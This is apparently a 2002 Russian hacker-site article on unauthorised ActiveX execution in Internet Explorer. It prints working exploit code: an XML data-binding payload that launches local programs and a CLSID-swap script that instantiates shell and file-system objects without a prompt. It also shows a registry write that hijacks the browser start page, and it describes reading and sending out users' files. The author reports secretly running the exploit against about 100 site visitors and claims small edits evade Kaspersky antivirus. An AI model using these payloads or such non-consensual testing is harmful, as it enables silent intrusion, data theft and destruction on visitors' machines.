Статья написана исключительно для ознакомительных целей. ActiveX объекты представляют собой небольшие исполняемые модули, которые могут быть внедрены в документы. Такими докемнтами могут являтся, например, документы Word или Excel. В качестве документов-контейнеров могут быть также и web-страницы, написанные на HTML. При отображении такой страницы, браузер предоставляет внедренному модулю ActiveX прямоугольную область на странице. В этой области модуль может себя прорисовывать, взаимодействовать с пользователем, принимать и выводить даные и т.д. Помимо визуальных activex объектов, существуют и невизуальные. Они служат главным образом для доступа к определенным програмным ресурсам машины или к данным пользователя и операционной системы. Такие объекты можно сделать невидимыми на странице и обращатся к ним при помощи скриптов страницы (таких как JavaScript, например).
Следует четко определить разницу между выполнением модуля ActiveX, размещенного на странице, и скрипта на той же странице. Скриптовые языки не генерируют исполняемых модулей. Скрипты выполняет виртуальная машина, которая их четко контроллирует и ограничивает воздействие на машину пользователя. Так, например, скрипт на JavaScript не может напрямую обращаться ни к файлам пользователя, ни к оперативной памяти, ни к сетевой плате. Это гарантирует безопасность для пользователя, просматривающего web-страницу. Другое дело - AcitveX. Эти объекты представляют собой исполняемые модули (как правило .ocx), которые выполняются непосредственно процессором машины и имеют те же права что и любая другая программа компьютера. Таким образом, выполнение внедренных объектов небезопасно для пользователя.
Проблему безопасности Microsoft - родоначальник activeX - решает с помощью так называемых сертификатов безопасности. Суть в том, что каждый ActiveX объект должен иметь сертификат безопасности. И если пользователь доверяет автору объекта, то только в таком случе объект будет автоматически запускаться со страницы. В противном случае браузер запросит разрешения на запуск ActiveX у пользователя, либо вообще откажется выполнять ActiveX (если установлен достаточно высокий уровень безопасности в настройках пользователя). При этом, по умолчанию, в Windows сертифицированны только безопасные объекты, безвредные для пользователя. Для всех остальных объектов, и для установки, и для каждого запуска, ОС требует разрешения у пользователя.
Конечно, такая политика также не безопасна, поскольку в основном своем большинстве пользователи мало осведомлены о тонкостях технологий Microsoft и могут подтверждать запуск ActiveX, не осознавая опасности последствий. Тем более, что логика подсказывает пользователю то, что если он откажется выполнять ActiveX, то он, вероятно, не получит необходимую информацию с данного web-сайта. То же касается настроек уровня безопасности браузера. По умолчанию, установлен средний уровень безопасности. В этом режиме MSIE 6.0 вообще не позволяет запуск несертифицированных объектов, однако пользователь в таком режиме не сможет просматривать значительную часть веб-сайтов, использующих ActiveX.
Методы несанкционированного запуска ActiveX
Все было бы замечательно, если бы в технологии ActiveX не было дыр. В соверменном быстро развивающемся мире, новые технологии успевают появлятся быстрее чем исправляются ошибки в старых. В связи с чем, число уязвимостей не сокращается. ActiveX - не исключение.
В этой главе рассмотрим два типа уязвимости современных браузеров, основаных на несанкционированном запуске ActiveX.
Сначала продемонстрируем запуск сертифицированного ActiveX объекта. Для этой цели используем объект DirectAnimation:
<APPLET ID="DAControl"
CLASSID="CLSID:B6FFC24C-7E13-11D0-9B47-00C04FC2F51D">
</APPLET>
Обратим внимание на параметр B6FFC24C-7E13-11D0-9B47-00C04FC2F51D. Это уникальный идентификатор типа объекта (CLSID). CLSID однозначно говорит операционной системе какой именно объект страничка хочет использовать. CLSID одного и того же объекта одинаков на всех машинах пользователей. После запуска объекта, скрипт получает доступ к свойствам и методам объекта через его id. Например такой скрипт <script>DAControl.Start()</script> запускает анимацию объекта DirectAnimation. Отметим, что на активацию объекта требуется время, и поэтому данный скрипт нужно запускать только после того, как страница полностью загрузилась и объект активирован. Скрипт можно использовать в качестве обработчика события body.onload, которое генерируется после загрузки и активации объекта. Попытка управления незагрузившимся объектом приводит к ошибке.
Теперь рассмотрим запуск несертифицированного ActiveX объекта. Воспользуемся невизуальным объектом WScript.Network. Этот объект позволяет получить и изменить некоторые параметры операционой системы, такие как имя пользователя или имя компьютера:
<APPLET ID="WshNetwork"
CLASSID="CLSID:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B">
</APPLET>
. При открытии демо-странички браузер спросит у вас разрешения на запуск объекта. Попробуйте согласиться или нет, посмотрите на результат.
(Заметим, что если вы сохраните эту страничку на свой диск и попробуете открыть ее, то возможно ОС и не спросит разрешения на запуск ActiveX, поскольку считает его "родным" файлом, а не сетевым).
Обратим внимание на то, что в случае получения разрешения запуска этого объекта, скрипт страницы получает доступ к информации о вашей машине и может отправить ее в сеть, уже не спрашивая вас и незаметно для вас. Кроме того данный объект может сделать ваш диск сетевым и его содержимое станет доступно с других машин.
Итак, для запуска опасных объектов пользователь должен обязательно дать согласие. Теперь рассмотрим уязвимости MSIE, позволяющие обойти это условие, и запустить ActiveX без разрешения пользователя.
Рассмотрим известный пример уязвимости найденной в марте 2002 года, и присутствующей практически во всех версиях операционных систем и браузеров:
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security><exploit><![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/WINDOWS/calc.exe"></object>
]]></exploit></security>
</xml>
Данная уязвимость позволяет запускать любые программы на машине пользоваетля (если известен локальный путь к ним). Разумеется, вместо калькулятора, может быть запущено и форматирование дисков. Впрочем, не рекомендую эксперементировать 
.
Данная уязвимость основана на том, что в качестве CLSID передается заведомо неверный идентификатор несуществующего объекта. Если операционная система не может найти объект у себя на дисках, то она пытается скачать его. Для указания пути скачивания применяется параметр codebase. Но в данном случае он указывает на локальную программу и система запускает ее, считая что она "установит" несуществующий объект. Такая уязвимость присутствует только в контексте XML. Без XML такой пример, скорее всего, работать не будет:
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/WINDOWS/calc.exe"></object>
Рассмотренная уязвимость опасна, однако ее воздействие на машину сильно ограничено, поскольку web-страница может только запустить программу на машине пользователя, но не может ею управлять. Максимум что возможно это передать параметры через командную строку.
Теперь рассмотрим еще одну уязвимость, позволяющую запустить ActiveX объект без санкции пользователя. Данная уязвимость присутствует не во всех операционных системах и браузерах и, кроме того, зависит от конкретных настроек окружения (более подробно об этом - в следующей главе). Однако ее воздействие намного сильнее рассмотренной выше уязвимости, поскольку скрипт страницы получает управление объектом ActiveX.
В качестве рабочего объекта применяется следующий объект:
<applet id="theActiveX"
code=com.ms.activeX.ActiveXComponent
height=0 width=0>
</applet>
При активации этого объекта эксплорер не запрашивает разрешения у пользователя, поскольку объект сертифицирован.
После загрузки ActiveX, модифицируем его CLSID, заменяя его на CLSID необходимого нам несертифицированного ActiveX (в данном случае WScript.Network):
<script>
function modify(){
theActiveX.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}")//заменяем CLSID
//Именно в этом месте кроется уязвимость.
//Если браузер выдает ошибку в следующем операторе, значит он не подвержен уязвимости
theActiveX.createInstance()//создаем новый объект
WshNetwork = theActiveX.GetObject()//получаем модифицированый объект
var userName=WshNetwork.UserName;//получаем информацию о пользователе
}
</script>
Приведенный скрипт нужно запускать спустя некторое время после загрузки странички, поскольку объекту требуется время чтобы активироваться:
<script>
setTimeout("modify()",1000);//запускаем модификацию CLSID спустя 1 сек, после загрузки страницы
</script>
После модификации CLSID объекта мы получаем новый объект с нужным нам CLSID и браузер при этом не запрашивает подтверждения на запуск у пользователя! Что и требовалось доказать .
Как уже отмечалось, данная дыра в защите браузера присуща не всем типам ОС, и зависит от настроек браузера и переменных окружения. Статистика распространенности данной уязвимости описана в следующей главе.
Оценка численности уязвимых компьютеров в Internet
Для определения численности уязвимых хостов, было проведено статистическое исследование. В исследовании была проанализирована уязвимость компьютеров пользователей сайта http://antichat.ru/.
Технология тестирования была следующей: на главной странице сайта был внедрен скрипт, который пытался несанкционированно запустить на машине пользователя ActiveX компоненты WScript.Network и Scripting.FileSystemObject методом модификации CLSID. Результат попытки автоматически отправлялся на сниффер сайта. Он же фиксировал тип операционной системы пользователя и версию браузера.
В связи с тем, что аудитория сайта специфична, то при рассмотрении результатов исследования нужно делать скидку на то, что посетители antichat.ru являются более "продвинутой" аудиторией, чем средний пользователь Internet.
Идентификация пользователей проводилась на основании их IP адреса. Было проанализировано 100 различных хостов. Сбор даных происходил в течении суток (26 октября 2002 года).
Общий результат исследования приведен в таблице: Уязвимость хостов
Компьютер уязвим 46%
В том числе с неустойчивой уязвимостью* 3%
Компьютер не уязвим 54%
База: 100 хостов
* - под неустойчивой уязвимостью понимается то, что часть тестов хоста были успешными, а часть - нет.
Далее приведены данные уязвимости хостов в зависимости от типа операционной системы и типа браузера. Уязвимость хостов в зависимости от типа ОС и браузера
OC
Браузер
Процент уязвимых хостов
База
Windows 98 MSIE (все версии) 82% 45
Windows 98 MSIE 5.0;5.01;5.5 74% 31
Windows 98 MSIE 6.0 93% 14
Windows ME (Win9x 4.90) MSIE (все версии) 29% 14
Windows NT4.0,NT5.0 MSIE (все версии) 44% 10
Windows XP (NT5.1) MSIE (все версии) 0% 30
Как видно из таблиц, около половины всех пользователей интернет имеют уязвимость несанкционированного запуска опасных объектов. Наиболее опасна операционная система Windows 98, среди пользователей которой подвержены уязвимости более 80% хостов. Полное отсутствие уязвимости наблюдается только у операционных систем линейки NT, начиная с версии NT 5.1 (Windows XP).
Доступ к информации на удаленном компьютере
В этой главе рассмотрим конкретные методы воздействия на машину пользователя и несанкционированного скачивания информации с нее.
В примерах предыдущих глав уже подробно описывались возможности объекта WScript.Network. Однако, существуют и намного более опасные ActiveX объекты. Ниже описаны возможности таких ActiveX объектов как Scripting.FileSystemObject и WScript.Shell.1.
Объект WScript.Shell.1 (CLSID=F935DC26-1CF0-11D0-ADB9-00C04FD58A0B)
Этот объект позволяет получить доступ к переменным окружения операционной системы, узнать системные папки, запустить программы на машине пользователя, изменить параметры ОС, читать и модифицировать системный реестр. Продемонстрируем лишь одну возможность: модификацию реестра.
Запись в реестр производится методом RegWrite объекта. В примере производится установка стартовой страницы браузера:
<APPLET ID="Shl"
CLASSID="CLSID:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B">
</APPLET>
<script>
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://antichat.ru");
</script>
Примечательно то, что антивирус Касперского (AVP) последних версий распознает в этом скрипте вирус, однако небольшая модификация исходного текста и скрипт проходит сквозь касперского без проблем .
Конечно, изменение стартовой страницы браузера - не столь уж важная вещь, но как вы понимаете, реестр хранит всю жизненно важную информацию операционной системы, начиная от паролей пользователей и заканчивая установками автоматически загружаемых драйверов и программ.
Несанкционированное срабатывание данного объекта может привести к порче ОС в лучшем случае, и к полному уничтожению информации на ваших дисках - в худшем. При наличии доступа к этому объекту, последнее - лишь дело техники. Сайт, содержащий подобный код, превращается в сайт-убийцу в прямом смысле слова, так как одного только посещения его, уже достаточно для полной потери информации на вашем компьютере.
Объект Scripting.FileSystemObject (CLSID=0D43FE01-F093-11CF-8940-00A0C9054228)
Данный объект предназначен для файловых операций: создание, чтение, запись, переименование, удаления файлов и папок. В отличие от объекта WScript.Shell, данный объект может не только удалить файлы или каталоги, но и прочитать их. А прочтя, отправить их содержимое в сеть.
Продемонстрируем три примера:
Создание файла на машине пользователя .
Считывание существующих папок на машине пользователя .
Поиск и считывание ini файла с машины пользователя .
В последнем примере скрипт точно определяет имя системной папки, содержащей ini файлы и читает один из них. Прочитанное содержимое файла может быть без труда отправлено на другой сервер без ведома пользователя.
Таким образом, с машины ничего не подозревающего любителя посидеть в инете, могут "утекать" файлы содержащие важную информацию, начиная от рабочих DOC файлов, и заканчивая ini файлами, содержащими пароли.
Более того, не составляет труда разработать целую систему, которая будет интерактивно работать с хакером, и которая будет позволять ему работать с вашим диском как со своим собственым.
Поразительно то, что около половины хостов при этом даже не будут подозревать об утечке информации, так как их браузер даже не предупредит о несанкционированном запуске опасных объектов.